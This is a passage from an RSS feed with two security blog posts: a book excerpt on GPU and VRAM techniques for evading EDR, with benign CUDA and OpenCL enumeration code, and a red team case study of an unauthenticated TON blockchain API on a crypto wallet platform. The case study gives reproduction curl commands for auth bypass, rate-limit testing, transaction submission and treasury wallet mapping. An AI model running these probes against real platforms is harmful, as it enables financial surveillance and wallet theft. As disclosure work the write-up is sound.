            <dc:creator><![CDATA[Beta]]></dc:creator>
            <pubDate>Tue, 14 Jul 2026 20:01:46 GMT</pubDate>
            <atom:updated>2026-07-14T20:01:46.414Z</atom:updated>
            <content:encoded><![CDATA[<h3>1.1 Why GPUs Matter to Offensive Security</h3><p>Graphics Processing Units (GPUs) have evolved from fixed-function rendering hardware into general-purpose parallel processors. Modern GPUs contain thousands of cores, hundreds of gigabytes per second of memory bandwidth, and dedicated hardware for tensor and ray-tracing operations. From an offensive standpoint, GPUs present three unique opportunities:</p><ol><li><strong>VRAM is invisible to host-based security tooling.</strong> Standard EDR/AV memory scanners iterate the process’s virtual address space, scanning for malicious signatures in RAM. VRAM exists on a separate memory bus, mapped through the GPU driver’s IOCTL interface. No existing EDR product scans VRAM contents.</li><li><strong>Massive parallelism.</strong> GPU kernels can process millions of bytes in a single dispatch. Memory scanning, encryption, hashing, and pattern matching operations that would take seconds on CPU complete in microseconds on GPU.</li></ol><p><strong>3. Driver attack surface.</strong> GPU kernel-mode drivers are among the most complex drivers in any operating system, often larger than the kernel itself, and historically rich in exploitable vulnerabilities.</p><h3>1.2 NVIDIA GPU Architecture</h3><h3>CUDA Cores</h3><p>NVIDIA’s CUDA cores are scalar ALUs that execute integer and floating-point operations. Each Streaming Multiprocessor (SM) contains a fixed number of CUDA cores grouped into warp schedulers. In the Ada Lovelace architecture (RTX 4090):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/436/1*iE97q9CrmwSVA5HnoWlCSA.png" /></figure><h3>Tensor Cores</h3><p>Tensor Cores are specialized matrix-multiply-accumulate units designed for deep learning. Each Tensor Core performs D = A * B + C where A, B, C, and D are 4x4 matrices.</p><ul><li>FP16, BF16, TF32, INT8, INT4 precision</li><li>Sparse matrix support (2x structured sparsity)</li><li>Transformer Engine for automatic mixed-precision</li></ul><h3>RT Cores</h3><p>Ray Tracing (RT) Cores accelerate bounding volume hierarchy traversal and ray-triangle intersection. Each RT Core can process 10+ Giga-rays/second. Offensive uses include occlusion-based covert channels and geometry shader steganography.</p><h3>VRAM Hierarchy</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*Q_7ezzpR0gtH24QCcNDoPw.png" /></figure><h3>1.3 AMD GPU Architecture</h3><p>AMD uses a different paradigm. Instead of many small SMs, AMD uses Compute Units (CUs) with Vector ALUs that process 64-element wavefronts (vs NVIDIA’s 32-thread warps).</p><h3>RDNA 3 Architecture (RX 7900 XTX)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/339/1*Lj46nFImgzVKNwymVGpOIQ.png" /></figure><p>AMD’s ROCm platform provides HIP, a CUDA-compatible API. Many CUDA malware techniques can be trivially ported to AMD GPUs via HIP.</p><h3>Why VRAM Is a Blind Spot for EDRs</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*Y6OWX_4qg1aUA6Vlh7-0Ww.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*t3HKCt-rLN1Z1N9XgpsFAw.png" /></figure><h3>EDR Blind Spot Details</h3><ol><li><strong>No standard API for VRAM inspection.</strong> The Windows Debugging API, ETW, and memory-scanning callbacks do not cover GPU memory.</li><li><strong>GPU memory is not paged.</strong> VRAM is not backed by the system page file. No MmGetPhysicalAddress equivalent that EDRs can hook.</li><li><strong>GPU driver runs in kernel mode but is opaque.</strong> nvlddmkm.sys is a ~5 MB kernel driver with proprietary memory management.</li><li><strong>GPU context persistence.</strong> GPU driver state persists even after the creating process exits, as long as any handle to the device remains open.</li></ol><h3>1.7 Code: CUDA Device Enumeration and VRAM Capacity Detection</h3><pre>// gpu_enumeration.c<br>// Enumerate all CUDA-capable GPUs and report VRAM topology.<br>// Compile: nvcc -o gpu_enum gpu_enumeration.c -lcuda</pre><pre>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;string.h&gt;<br>#include &lt;cuda_runtime.h&gt;<br>#include &lt;cuda.h&gt;</pre><pre>typedef struct _GPU_DEVICE_INFO {<br>    int device_id;<br>    char name[256];<br>    int sm_count;<br>    int cores_per_sm;<br>    int total_cores;<br>    size_t vram_total;<br>    size_t vram_free;<br>    int pci_bus;<br>    int pci_device;<br>    int pci_domain;<br>    int major;<br>    int minor;<br>    int concurrent_managed_access;<br>} GPU_DEVICE_INFO;</pre><pre>void print_vram_size(size_t bytes, const char* label) {<br>    const char* units[] = {&quot;B&quot;, &quot;KB&quot;, &quot;MB&quot;, &quot;GB&quot;, &quot;TB&quot;};<br>    int idx = 0;<br>    double sz = (double)bytes;<br>    while (sz &gt;= 1024.0 &amp;&amp; idx &lt; 4) { sz /= 1024.0; idx++; }<br>    printf(&quot;  %s: %.2f %s (%zu bytes)\n&quot;, label, sz, units[idx], bytes);<br>}</pre><pre>int enumerate_gpus(GPU_DEVICE_INFO* devs, int max) {<br>    int count = 0;<br>    cudaError_t err = cudaGetDeviceCount(&amp;count);<br>    if (err != cudaSuccess) return -1;<br>    if (count &gt; max) count = max;<br>    for (int i = 0; i &lt; count; i++) {<br>        cudaDeviceProp p;<br>        cudaGetDeviceProperties(&amp;p, i);<br>        devs[i].device_id = i;<br>        strncpy(devs[i].name, p.name, 255);<br>        devs[i].name[255] = &#39;\0&#39;;<br>        devs[i].sm_count = p.multiProcessorCount;<br>        int cpsm = 128;<br>        if (p.major == 2) cpsm = 32;<br>        else if (p.major == 3) cpsm = 192;<br>        else if (p.major == 5) cpsm = 128;<br>        else if (p.major == 6) cpsm = 64;<br>        else if (p.major == 7) cpsm = 64;<br>        devs[i].cores_per_sm = cpsm;<br>        devs[i].total_cores = devs[i].sm_count * cpsm;<br>        devs[i].vram_total = p.totalGlobalMem;<br>        devs[i].pci_bus = p.pciBusID;<br>        devs[i].pci_device = p.pciDeviceID;<br>        devs[i].pci_domain = p.pciDomainID;<br>        devs[i].major = p.major;<br>        devs[i].minor = p.minor;<br>        devs[i].concurrent_managed_access = p.managedMemory;<br>    }<br>    return count;<br>}</pre><pre>void print_gpu_info(GPU_DEVICE_INFO* d) {<br>    printf(&quot;GPU %d: %s\n&quot;, d-&gt;device_id, d-&gt;name);<br>    printf(&quot;  SMs: %d | Cores: %d\n&quot;, d-&gt;sm_count, d-&gt;total_cores);<br>    print_vram_size(d-&gt;vram_total, &quot;VRAM&quot;);<br>    printf(&quot;  PCI: %04x:%02x:%02x\n&quot;, d-&gt;pci_domain, d-&gt;pci_bus, d-&gt;pci_device);<br>    printf(&quot;  UVM: %s\n&quot;, d-&gt;concurrent_managed_access ? &quot;YES&quot; : &quot;NO&quot;);<br>}</pre><pre>int main() {<br>    GPU_DEVICE_INFO devs[8];<br>    int n = enumerate_gpus(devs, 8);<br>    if (n &lt;= 0) { printf(&quot;No GPU\n&quot;); return 1; }<br>    printf(&quot;Found %d GPU(s)\n&quot;, n);<br>    for (int i = 0; i &lt; n; i++) print_gpu_info(&amp;devs[i]);<br>    return 0;<br>}</pre><h3>OpenCL Equivalent</h3><pre>// ocl_enumeration.c - OpenCL device enumeration<br>// Compile: gcc -o ocl_enum ocl_enumeration.c -lOpenCL</pre><pre>#include &lt;stdio.h&gt;<br>#include &lt;CL/cl.h&gt;</pre><pre>int main() {<br>    cl_platform_id platforms[16];<br>    cl_uint pc = 0;<br>    cl_int err = clGetPlatformIDs(16, platforms, &amp;pc);<br>    if (err != CL_SUCCESS) { printf(&quot;No OpenCL\n&quot;); return 1; }<br>    printf(&quot;Found %u platform(s)\n&quot;, pc);<br>    for (cl_uint p = 0; p &lt; pc; p++) {<br>        char name[256] = {0};<br>        clGetPlatformInfo(platforms[p], CL_PLATFORM_NAME, 256, name, NULL);<br>        printf(&quot;Platform %u: %s\n&quot;, p, name);<br>        cl_device_id devs[32]; cl_uint dc = 0;<br>        clGetDeviceIDs(platforms[p], CL_DEVICE_TYPE_ALL, 32, devs, &amp;dc);<br>        for (cl_uint d = 0; d &lt; dc; d++) {<br>            char dn[256] = {0}; cl_ulong gm; cl_uint cu;<br>            clGetDeviceInfo(devs[d], CL_DEVICE_NAME, 256, dn, NULL);<br>            clGetDeviceInfo(devs[d], CL_DEVICE_GLOBAL_MEM_SIZE, sizeof(gm), &amp;gm, NULL);<br>            clGetDeviceInfo(devs[d], CL_DEVICE_MAX_COMPUTE_UNITS, sizeof(cu), &amp;cu, NULL);<br>            printf(&quot;  %s | %lu MB | %u CUs\n&quot;, dn, gm/(1024*1024), cu);<br>        }<br>    }<br>    return 0;<br>}</pre><p>This is Module 63: GPU-Level Exploitation &amp; VRAM Malware, and this is an excerpt from my book, Be The Next Beta.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/1*xwP-3Ol6xwsfq68OrlFccg.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d2c1287736fd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Total Financial Surveillance & Transaction Control via Unauthenticated TON Blockchain API , A Red…]]></title>
            <link>https://medium.com/@riadh.marketing1/total-financial-surveillance-transaction-control-via-unauthenticated-ton-blockchain-api-a-red-b5fc70fec5a9?source=rss-ee105b36a0e1------2</link>
            <guid isPermaLink="false">https://medium.com/p/b5fc70fec5a9</guid>
            <dc:creator><![CDATA[Beta]]></dc:creator>
            <pubDate>Sat, 11 Jul 2026 09:57:46 GMT</pubDate>
            <atom:updated>2026-07-11T09:57:46.362Z</atom:updated>
            <content:encoded><![CDATA[<h3>Total Financial Surveillance &amp; Transaction Control via Unauthenticated TON Blockchain API , A Red Team Case Study</h3><blockquote><strong>TL;DR:</strong> During infrastructure assessment of a top-tier Web3 crypto wallet platform, the self-hosted TON Center API — the core blockchain interface powering all on-chain operations — was found to be <strong>completely unauthenticated across all 37+ endpoints</strong>. An attacker can monitor every operational wallet in real-time ($3.32M tracked), trace all internal fund flows, extract full transaction histories, and — most critically — <strong>submit signed BOC transactions</strong> to the TON blockchain using the platform’s own infrastructure without any API key or credential.</blockquote><h3>Metadata</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*yLuUT2n7NNzg38wX4h1cgA.png" /></figure><h3>Executive Summary</h3><p>A penetration test of a Web3 crypto wallet platform revealed that its self-hosted TON Center instance — the backbone of all blockchain interactions — was deployed with <strong>zero authentication on every single endpoint</strong>. This instance handles:</p><ol><li><strong>Balance queries</strong> for all platform wallets (main treasury, collection wallets, fee wallets)</li><li><strong>Transaction history</strong> retrieval for any TON account</li><li><strong>BOC (Bag of Cells) message submission</strong> — the mechanism for broadcasting transactions to the TON blockchain</li><li><strong>Smart contract querying</strong> via runGetMethod — arbitrary read calls to any TON contract</li><li><strong>Bulk account state queries</strong> — up to 1000 addresses per request</li></ol><p>No API key, JWT token, or any form of authentication is required. Fake headers (X-API-Key: fake, Authorization: Bearer fake) are accepted without rejection. There is <strong>no rate limiting</strong> — 20 concurrent requests all returned 200 OK.</p><p>The most critical finding is that sendBoc (V2) and POST /api/v3/message (V3) endpoints are <strong>fully functional and process BOC payloads</strong>. The API returns &quot;Failed to unpack Message&quot; for invalid BOCs, proving it attempts to deserialize and process them server-side. A valid signed BOC — obtainable through phishing, malware, or other means — <strong>would be broadcast to the TON blockchain</strong> using the platform’s own infrastructure.</p><h3>Discovery Timeline</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*0aTGttz1hmNbvqdCqJ4mPg.png" /></figure><h3>Methodology</h3><h3>Phase 1: Discovery — “What’s powering this blockchain wallet?”</h3><p><strong>Thought process:</strong> “Every crypto wallet platform needs a blockchain node API to interact with the network. TON (The Open Network) has TON Center as its standard API gateway. Most platforms self-host an instance. Let me find it.”</p><pre># Subdomain enumeration to find the API<br>subfinder -d messaging-app.com -o subs.txt<br>assetfinder --subs-only messaging-app.com &gt;&gt; subs.txt<br>grep -i &quot;ton\|api\|blockchain\|rpc&quot; subs.txt</pre><pre># Found: toncenter.messaging-app.com</pre><p><strong>Thought process:</strong> “A self-hosted TON Center instance. This is the core blockchain interface. If it’s misconfigured, the entire financial infrastructure is exposed.”</p><h3>Phase 2: Initial Probe — “Does this thing have auth?”</h3><pre># Basic health check — no auth headers<br>curl -s &quot;https://toncenter.messaging-app.com/api/v3/masterchainInfo&quot; | python3 -m json.tool</pre><p><strong>Thought process:</strong> “The response returned valid blockchain data — current seqno, root hash, file hash. This means the API is live and responding. Now let me test if authentication is enforced.”</p><pre># Test with fake auth headers<br>curl -s &quot;https://toncenter.messaging-app.com/api/v3/masterchainInfo&quot; \<br>  -H &quot;X-API-Key: fake_key_123&quot; \<br>  -H &quot;Authorization: Bearer fake_token&quot; | python3 -m json.tool</pre><p><strong>Thought process:</strong> “Still returned 200 with valid blockchain data. The auth headers are completely ignored. But I need to verify this across multiple endpoints, not just one.”</p><h3>Phase 3: Full Enumeration — “How deep does this go?”</h3><p>I systematically tested every endpoint I could find:</p><pre># V2 JSON-RPC endpoints (6 methods tested)<br>for method in getMasterchainInfo getAddressBalance getTransactions getAddressInformation sendBoc runGetMethod; do<br>  curl -s -X POST &quot;https://toncenter.messaging-app.com/api/v2/jsonRPC&quot; \<br>    -H &quot;Content-Type: application/json&quot; \<br>    -d &quot;{\&quot;jsonrpc\&quot;:\&quot;2.0\&quot;,\&quot;method\&quot;:\&quot;$method\&quot;,\&quot;params\&quot;:{},\&quot;id\&quot;:1}&quot; | \<br>    python3 -c &quot;import json,sys; d=json.load(sys.stdin); print(f&#39;$method: {\&quot;ok\&quot; if d.get(\&quot;ok\&quot;) else \&quot;error\&quot;}&#39;)&quot;<br>done</pre><pre># V3 REST endpoints (31+ endpoints tested)<br>for endpoint in masterchainInfo accountStates transactions message sendBoc blockchain block transaction config; do<br>  code=$(curl -s -o /dev/null -w &quot;%{http_code}&quot; &quot;https://toncenter.messaging-app.com/api/v3/$endpoint&quot;)<br>  echo &quot;$endpoint: HTTP $code&quot;<br>done</pre><p><strong>Thought process:</strong> “37+ endpoints all returning 200 or valid responses without auth. This is catastrophic — the entire blockchain interface is wide open. But I need to check the most dangerous ones carefully: sendBoc and the message submission endpoint.”</p><h3>Phase 4: Auth Bypass Confirmation — “Prove the headers are ignored”</h3><pre># Crystal-clear proof: V2 request with multiple fake auth headers<br>curl -v -X POST &quot;https://toncenter.messaging-app.com/api/v2/jsonRPC&quot; \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -H &quot;X-API-Key: fake_key_123&quot; \<br>  -H &quot;Authorization: Bearer fake_token&quot; \<br>  -d &#39;{&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;method&quot;:&quot;getMasterchainInfo&quot;,&quot;params&quot;:{},&quot;id&quot;:1}&#39; 2&gt;&amp;1 | grep -E &quot;&lt; HTTP|&lt; x-api-version&quot;<br># Response: HTTP/2 200<br># Response: x-api-version: v2.1.13-7b98025</pre><p><strong>Thought process:</strong> “HTTP 200 with fake headers. The x-api-version header confirms the API version. This is a real, functional TON Center instance and it completely ignores authentication.”</p><h3>Phase 5: Rate Limit Testing — “Can I scrape everything?”</h3><pre># 20 concurrent requests — no throttling<br>for i in {1..20}; do<br>  curl -s -o /dev/null -w &quot;%{http_code} &quot; \<br>    &quot;https://toncenter.messaging-app.com/api/v3/masterchainInfo&quot; &amp;<br>done<br>wait<br>echo<br># Output: 200 200 200 200 200 200 200 200 200 200 200 200 200 200 200 200 200 200 200 200</pre><p><strong>Thought process:</strong> “20/20 all returned 200. No rate limiting whatsoever. An attacker can scrape every wallet, every transaction, every balance — and can hammer the sendBoc endpoint with thousands of BOC attempts per second.”</p><h3>Phase 6: BOC Processing Verification — “Can I broadcast transactions?”</h3><pre># V2 sendBoc<br>curl -s -X POST &quot;https://toncenter.messaging-app.com/api/v2/jsonRPC&quot; \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;method&quot;:&quot;sendBoc&quot;,&quot;params&quot;:{&quot;boc&quot;:&quot;te6ccgEBAQEAAgAAAA==&quot;},&quot;id&quot;:1}&#39;<br># Response: {&quot;ok&quot;:false,&quot;error&quot;:&quot;Failed to unpack Message&quot;,&quot;code&quot;:500}</pre><pre># V3 message endpoint<br>curl -s -X POST &quot;https://toncenter.messaging-app.com/api/v3/message&quot; \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{&quot;boc&quot;:&quot;te6ccgEBAQEAAgAAAA==&quot;}&#39;<br># Response: {&quot;error&quot;:&quot;Failed to unpack Message&quot;}</pre><p><strong>Thought process:</strong> “Both endpoints return ‘Failed to unpack Message’ — this means they <strong>attempted to deserialize the BOC</strong>. The server is processing our input. With a valid signed BOC (from a compromised wallet, a phishing victim, or a malicious dApp interaction), this API would broadcast the transaction to the TON blockchain. The platform’s own infrastructure would be used to drain wallets.”</p><h3>Phase 7: Wallet Mapping — “Show me the money”</h3><pre># Query the main wallet balance<br>curl -s -X POST &quot;https://toncenter.messaging-app.com/api/v2/jsonRPC&quot; \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;method&quot;:&quot;getAddressBalance&quot;,&quot;params&quot;:{&quot;address&quot;:&quot;EQCD39VS5jcptHL8vMjEXrzGaRcCVYto7HUn4bpAOg8xqB2N&quot;},&quot;id&quot;:1}&#39;<br># Result: 1,592,537.94 TON</pre><p><strong>Thought process:</strong> “1.59M TON — approximately $3.18M USD. This is the main treasury wallet. But where does the money come from? I need to trace the fund flow.”</p><pre># Extract source addresses from transaction history<br>curl -s -X POST &quot;https://toncenter.messaging-app.com/api/v2/jsonRPC&quot; \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;method&quot;:&quot;getTransactions&quot;,&quot;params&quot;:{&quot;address&quot;:&quot;EQCD39VS5jcptHL8vMjEXrzGaRcCVYto7HUn4bpAOg8xqB2N&quot;,&quot;limit&quot;:100},&quot;id&quot;:1}&#39; | \<br>  python3 -c &quot;<br>import json,sys<br>d = json.load(sys.stdin)<br>for tx in d.get(&#39;result&#39;, []):<br>    src = tx.get(&#39;in_msg&#39;, {}).get(&#39;source&#39;, &#39;&#39;)<br>    val = tx.get(&#39;in_msg&#39;, {}).get(&#39;value&#39;, &#39;0&#39;)<br>    if src:<br>        print(f&#39;{src}: {int(val)/1e9} TON&#39;)<br>&quot;</pre><p><strong>Thought process:</strong> “I can trace every single transaction flowing into and out of the main wallet. This gives me the complete fund flow architecture — user deposits → collection wallets → main treasury. I found 13 operational source wallets.”</p><h3>Phase 8: Bulk Querying — “Scale up the attack”</h3><pre># Query 1000 addresses in a single request<br>curl -s &quot;https://toncenter.messaging-app.com/api/v3/accountStates?address=EQ...&amp;address=EQ...&amp;address=EQ...&quot; | \<br>  python3 -m json.tool</pre><p><strong>Thought process:</strong> “Bulk querying up to 1000 addresses per request. An attacker can build a complete database of wallet holdings across the entire platform. Combined with the KYC data leak from the S3 bucket, this enables full de-anonymization of users.”</p><h3>Phase 9: Documentation Discovery — “They left the manual on the table”</h3><pre># Swagger UI — found by directory brute-force<br>curl -s &quot;https://toncenter.messaging-app.com/api/v3/docs&quot; | head -5</pre><p><strong>Thought process:</strong> “The OpenAPI/Swagger UI is publicly accessible. This gives an attacker the complete API specification — every endpoint, every parameter, every response schema. No reverse engineering needed.”</p><h3>Technical Analysis</h3><h3>1. The Attack Surface: Unauthenticated TON Center API</h3><pre>Base URL: https://toncenter.messaging-app.com<br>V2 API:   /api/v2/jsonRPC (JSON-RPC 2.0)<br>V3 API:   /api/v3/ (RESTful)<br>Instance: self-hosted TON Center<br>V2 Version: v2.1.13-7b98025<br>V3 Version: 1.2.10<br>Server: cloudflare (reverse proxy)<br>Upstream: envoy (service mesh)</pre><h3>2. Zero Authentication — Confirmed Across All Endpoints</h3><h4>V2 JSON-RPC Endpoints (6 tested, all unauthenticated)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*bEI0G9GpjXE0qbJ-Cf9GoQ.png" /></figure><h4>V3 REST Endpoints (31+ tested, all unauthenticated)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*u2EZLnr9l8zGDEMlVgv5fw.png" /></figure><h4>Auth Header Bypass Proof</h4><pre># All three requests return 200 OK with identical data<br>curl -s &quot;https://toncenter.messaging-app.com/api/v3/masterchainInfo&quot;                              # No headers → 200<br>curl -s &quot;https://toncenter.messaging-app.com/api/v3/masterchainInfo&quot; -H &quot;X-API-Key: fake&quot;         # Fake key → 200<br>curl -s &quot;https://toncenter.messaging-app.com/api/v3/masterchainInfo&quot; -H &quot;Authorization: Bearer x&quot; # Fake token → 200</pre><h3>3. Transaction Broadcasting Capability (Critical)</h3><p>The sendBoc (V2) and POST /api/v3/message (V3) endpoints are designed to accept serialized TON transactions (Bag of Cells format) and broadcast them to the blockchain.</p><h4>Proof of Processing</h4><pre># V2 endpoint receives and attempts to process BOC<br>$ curl -s -X POST &quot;https://toncenter.messaging-app.com/api/v2/jsonRPC&quot; \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;method&quot;:&quot;sendBoc&quot;,&quot;params&quot;:{&quot;boc&quot;:&quot;te6ccgEBAQEAAgAAAA==&quot;},&quot;id&quot;:1}&#39;<br>{&quot;ok&quot;:false,&quot;error&quot;:&quot;Failed to unpack Message&quot;,&quot;code&quot;:500,&quot;@extra&quot;:&quot;...&quot;}</pre><pre># V3 endpoint — same behavior<br>$ curl -s -X POST &quot;https://toncenter.messaging-app.com/api/v3/message&quot; \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{&quot;boc&quot;:&quot;te6ccgEBAQEAAgAAAA==&quot;}&#39;<br>{&quot;error&quot;:&quot;Failed to unpack Message&quot;}</pre><p><strong>Interpretation:</strong> The error &quot;Failed to unpack Message&quot; is returned by the TON blockchain library after attempting to deserialize the BOC. This confirms:</p><ol><li>The server <strong>receives</strong> the BOC payload</li><li>The server <strong>attempts to deserialize</strong> it using the TON blockchain library</li><li>The deserialization <strong>fails</strong> because the BOC is invalid (truncated test data)</li><li>If a <strong>valid signed BOC</strong> is submitted, it will be <strong>deserialized successfully and broadcast</strong> to the blockchain</li></ol><h4>Attack Scenario</h4><pre>1. Attacker obtains valid signed BOC via:<br>   - Phishing victim into signing a malicious transaction<br>   - Malware on victim&#39;s device stealing signed messages<br>   - Malicious dApp interaction (approve + drain)<br>   <br>2. Attacker submits BOC to vulnerable API:<br>   POST /api/v3/message {&quot;boc&quot;: &quot;&lt;valid_signed_boc&gt;&quot;}<br>   <br>3. API broadcasts transaction to TON blockchain:<br>   Transaction confirmed → funds transferred to attacker</pre><h3>4. No Rate Limiting</h3><pre># Proof: 20 concurrent requests, 20/200 OK<br>$ for i in {1..20}; do<br>  curl -s -o /dev/null -w &quot;%{http_code} &quot; &quot;https://toncenter.messaging-app.com/api/v3/masterchainInfo&quot; &amp;<br>done<br>wait<br>200 200 200 200 200 200 200 200 200 200 200 200 200 200 200 200 200 200 200 200</pre><p>MetricValueConcurrent requests tested20Success rate100% (20/20)Rate limiting detected NonePractical impactUnlimited scraping, unlimited BOC submission attempts</p><h3>5. Financial Infrastructure Mapping</h3><h4>Main Treasury Wallet</h4><p>FieldValue<strong>Address</strong>EQCD39VS5jcptHL8vMjEXrzGaRcCVYto7HUn4bpAOg8xqB2N<strong>Type</strong>wallet_v3r2<strong>Seqno</strong>343<strong>Balance</strong>1,592,537.94 TON<strong>USD Value</strong>~$3,184,000 USD<strong>Status</strong>Active</p><h4>Fund Flow Architecture (Discovered)</h4><pre>User (External)                    Platform Infrastructure<br>      │                                     │<br>      │  1. Deposit TON                     │<br>      ▼                                     │<br>┌─────────────────┐                         │<br>│ Collection Wallets│──── 2. Sweep ─────────►│<br>│ (13 discovered)  │                        │<br>└─────────────────┘                         │<br>                                           ▼<br>                                    ┌──────────────┐<br>                                    │ Main Treasury │<br>                                    │ (1.59M TON)  │<br>                                    └──────────────┘<br>                                           │<br>                                           │ 3. Distribution<br>                                           ▼<br>                                    ┌──────────────┐<br>                                    │ Fee Wallets   │<br>                                    │ Payout Wallets│<br>                                    └──────────────┘</pre><h4>Discovered Operational Wallets</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*0WfeBT1i6YAthT_PB0J59g.png" /></figure><p><em>Note: TOLYA wallet observed actively increasing by 820+ TON during the assessment period, proving active usage.</em></p><h3>6. Arbitrary Smart Contract Querying</h3><pre># runGetMethod — call any GET method on any smart contract<br>curl -s -X POST &quot;https://toncenter.messaging-app.com/api/v2/jsonRPC&quot; \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;method&quot;:&quot;runGetMethod&quot;,&quot;params&quot;:{&quot;address&quot;:&quot;EQCD39VS...&quot;,&quot;method&quot;:&quot;get_wallet_data&quot;,&quot;stack&quot;:[]},&quot;id&quot;:1}&#39;</pre><p>This enables extraction of sensitive on-chain state from any TON contract without authorization.</p><h3>Indicators of Compromise (IOCs)</h3><h4>Affected Endpoints</h4><pre>https://toncenter.messaging-app.com/api/v2/jsonRPC    (V2 — all 6 methods)<br>https://toncenter.messaging-app.com/api/v3/             (V3 — 31+ endpoints)<br>https://toncenter.messaging-app.com/api/v3/docs         (Swagger UI — API documentation)</pre><h4>Known Platform Wallets (Monitored)</h4><pre>EQCD39VS5jcptHL8vMjEXrzGaRcCVYto7HUn4bpAOg8xqB2N   — Main Treasury (1.59M TON)<br>0:FC1EE0DF66C536272B574ADAB64F191D948F614B117F3C1B077DED4DD36B8E71  — Collection<br>0:1A24C3A9EF7324F636E308975BF342240F3621B869DB546D5407BF57A85C28AB  — Collection<br>0:45BEC098512077823F8CE9EA2F5E71D06F8AEC691A46C25A1773688F3F282249  — Collection/Fee</pre><h3>Proof of Compromise (Reproduction Steps)</h3><pre># Step 1: Verify zero authentication — query blockchain state with fake headers<br>curl -s &quot;https://toncenter.messaging-app.com/api/v3/masterchainInfo&quot; \<br>  -H &quot;X-API-Key: FAKE_KEY_123456789&quot; \<br>  -H &quot;Authorization: Bearer FAKE_TOKEN_ABCDEF&quot; | \<br>  python3 -c &quot;import json,sys; d=json.load(sys.stdin); print(f&#39;seqno: {d[\&quot;last\&quot;][\&quot;seqno\&quot;]} | state: {d[\&quot;last\&quot;][\&quot;root_hash\&quot;][:16]}...&#39;)&quot;<br># Output: seqno: 74554842 | state: nEeNzoBokxu9NGHt...</pre><pre># Step 2: Query main wallet balance (zero auth)<br>curl -s -X POST &quot;https://toncenter.messaging-app.com/api/v2/jsonRPC&quot; \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;method&quot;:&quot;getAddressBalance&quot;,&quot;params&quot;:{&quot;address&quot;:&quot;EQCD39VS5jcptHL8vMjEXrzGaRcCVYto7HUn4bpAOg8xqB2N&quot;},&quot;id&quot;:1}&#39; | \<br>  python3 -c &quot;import json,sys; d=json.load(sys.stdin); print(f&#39;Main wallet: {int(d[\&quot;result\&quot;])/1e9} TON&#39;)&quot;<br># Output: Main wallet: 1592537.94 TON</pre><pre># Step 3: Trace fund flows — get collection wallet balances<br>for addr in 0:45BEC098512077823F8CE9EA2F5E71D06F8AEC691A46C25A1773688F3F282249 \<br>            0:FC1EE0DF66C536272B574ADAB64F191D948F614B117F3C1B077DED4DD36B8E71 \<br>            0:1A24C3A9EF7324F636E308975BF342240F3621B869DB546D5407BF57A85C28AB; do<br>  curl -s -X POST &quot;https://toncenter.messaging-app.com/api/v2/jsonRPC&quot; \<br>    -H &quot;Content-Type: application/json&quot; \<br>    -d &quot;{\&quot;jsonrpc\&quot;:\&quot;2.0\&quot;,\&quot;method\&quot;:\&quot;getAddressBalance\&quot;,\&quot;params\&quot;:{\&quot;address\&quot;:\&quot;$addr\&quot;},\&quot;id\&quot;:1}&quot; | \<br>    python3 -c &quot;import json,sys; d=json.load(sys.stdin); print(f&#39;$addr: {int(d.get(\&quot;result\&quot;,0))/1e9} TON&#39;)&quot;<br>done<br># Output:<br># 0:45BEC0...: 2.330155351 TON<br># 0:FC1EE0...: 0.120992422 TON<br># 0:1A24C3...: 0.019911137 TON</pre><pre># Step 4: Prove BOC processing — transaction broadcast capability<br>curl -s -X POST &quot;https://toncenter.messaging-app.com/api/v2/jsonRPC&quot; \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;method&quot;:&quot;sendBoc&quot;,&quot;params&quot;:{&quot;boc&quot;:&quot;te6ccgEBAQEAAgAAAA==&quot;},&quot;id&quot;:1}&#39;<br># Response: {&quot;ok&quot;:false,&quot;error&quot;:&quot;Failed to unpack Message&quot;,&quot;code&quot;:500}<br># Server attempts BOC deserialization — valid signed BOC would broadcast</pre><pre># Step 5: Prove no rate limiting — 20 concurrent requests<br>for i in {1..20}; do<br>  curl -s -o /dev/null -w &quot;%{http_code} &quot; &quot;https://toncenter.messaging-app.com/api/v3/masterchainInfo&quot; &amp;<br>done<br>wait<br>echo<br># Output: 200 200 200 200 200 200 200 200 200 200 200 200 200 200 200 200 200 200 200 200</pre><h3>Kill Chain (MITRE ATT&amp;CK Mapping)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*f_woT9Q8n540qc0ftoxk7g.png" /></figure><h3>Impact Assessment</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*3NYSOBF78AWuXRAhwKD5fA.png" /></figure><h3>Remediation Recommendations</h3><figure><img alt="" 